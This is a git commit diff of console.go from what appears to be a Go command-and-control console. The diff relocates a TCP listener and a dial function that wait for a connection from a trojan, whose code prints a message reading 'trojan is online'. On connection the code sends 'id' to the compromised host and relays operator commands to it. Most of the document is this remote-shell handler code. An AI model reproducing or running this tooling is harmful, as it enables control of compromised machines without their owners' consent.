update readme and go.mod
This commit is contained in:
137
console.go
137
console.go
@@ -22,8 +22,6 @@ func main() {
|
||||
fmt.Println(" \\____|____/ \\____\\___/|_| |_|___/\\___/|_|\\___|")
|
||||
|
||||
console()
|
||||
//listener("tcp", 4444)
|
||||
//dial("tcp", "127.0.0.1", 4444)
|
||||
}
|
||||
|
||||
type env struct {
|
||||
@@ -35,73 +33,6 @@ type env struct {
|
||||
|
||||
var env1 env
|
||||
|
||||
// listener function
|
||||
func listener(port int) {
|
||||
// Create a listener
|
||||
var addr net.TCPAddr
|
||||
addr.IP = net.IPv4(127, 0, 0, 1)
|
||||
addr.Port = port
|
||||
listener, err := net.ListenTCP("tcp", &addr)
|
||||
if err != nil {
|
||||
fmt.Println("err = ", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf("Listening on local port %d\n", port)
|
||||
defer listener.Close()
|
||||
|
||||
//var connpool[16] net.TCPConn
|
||||
//Wait for connection
|
||||
|
||||
conn, err := listener.AcceptTCP()
|
||||
if err != nil {
|
||||
fmt.Println("err = ", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("木马已经上线")
|
||||
|
||||
//defer conn.Close() //Close TCP connetcion
|
||||
|
||||
exit := make(chan string, 1)
|
||||
receive := make(chan int)
|
||||
sstop := make(chan string)
|
||||
rstop := make(chan string)
|
||||
|
||||
//Get username
|
||||
conn.Write([]byte("id\n"))
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-rstop:
|
||||
return
|
||||
default:
|
||||
<-receive
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-sstop:
|
||||
return
|
||||
default:
|
||||
sender(conn, exit, receive, sstop, rstop)
|
||||
|
||||
}
|
||||
}
|
||||
}()
|
||||
exitsignal := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
|
||||
sstop <- "stop sender"
|
||||
rstop <- "stop receiver"
|
||||
fmt.Printf("command: %v\n", exitsignal)
|
||||
return
|
||||
}
|
||||
|
||||
// 控制台函数
|
||||
func console() {
|
||||
|
||||
@@ -202,6 +133,72 @@ func execInput(input string) error {
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
// listener function
|
||||
func listener(port int) {
|
||||
// Create a listener
|
||||
var addr net.TCPAddr
|
||||
addr.IP = net.IPv4(127, 0, 0, 1)
|
||||
addr.Port = port
|
||||
listener, err := net.ListenTCP("tcp", &addr)
|
||||
if err != nil {
|
||||
fmt.Println("err = ", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf("Listening on local port %d\n", port)
|
||||
defer listener.Close()
|
||||
|
||||
//var connpool[16] net.TCPConn
|
||||
//Wait for connection
|
||||
|
||||
conn, err := listener.AcceptTCP()
|
||||
if err != nil {
|
||||
fmt.Println("err = ", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("木马已经上线")
|
||||
|
||||
//defer conn.Close() //Close TCP connetcion
|
||||
|
||||
exit := make(chan string, 1)
|
||||
receive := make(chan int)
|
||||
sstop := make(chan string)
|
||||
rstop := make(chan string)
|
||||
|
||||
//Get username
|
||||
conn.Write([]byte("id\n"))
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-rstop:
|
||||
return
|
||||
default:
|
||||
<-receive
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-sstop:
|
||||
return
|
||||
default:
|
||||
sender(conn, exit, receive, sstop, rstop)
|
||||
|
||||
}
|
||||
}
|
||||
}()
|
||||
exitsignal := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
|
||||
sstop <- "stop sender"
|
||||
rstop <- "stop receiver"
|
||||
fmt.Printf("command: %v\n", exitsignal)
|
||||
}
|
||||
|
||||
func dial(host string, port int) {
|
||||
//处理连接参数
|
||||
var dialaddr net.TCPAddr
|
||||
@@ -260,7 +257,6 @@ func dial(host string, port int) {
|
||||
sstop <- "stop sender"
|
||||
rstop <- "stop receiver"
|
||||
fmt.Printf("command: %v\n", exitsignal)
|
||||
return
|
||||
}
|
||||
|
||||
func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan string, rstop chan string) {
|
||||
@@ -370,7 +366,6 @@ func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan st
|
||||
}
|
||||
conn.Write([]byte(inp))
|
||||
receive <- 1
|
||||
return
|
||||
}
|
||||
|
||||
func receiver(conn net.TCPConn) {
|
||||
|
||||
Reference in New Issue
Block a user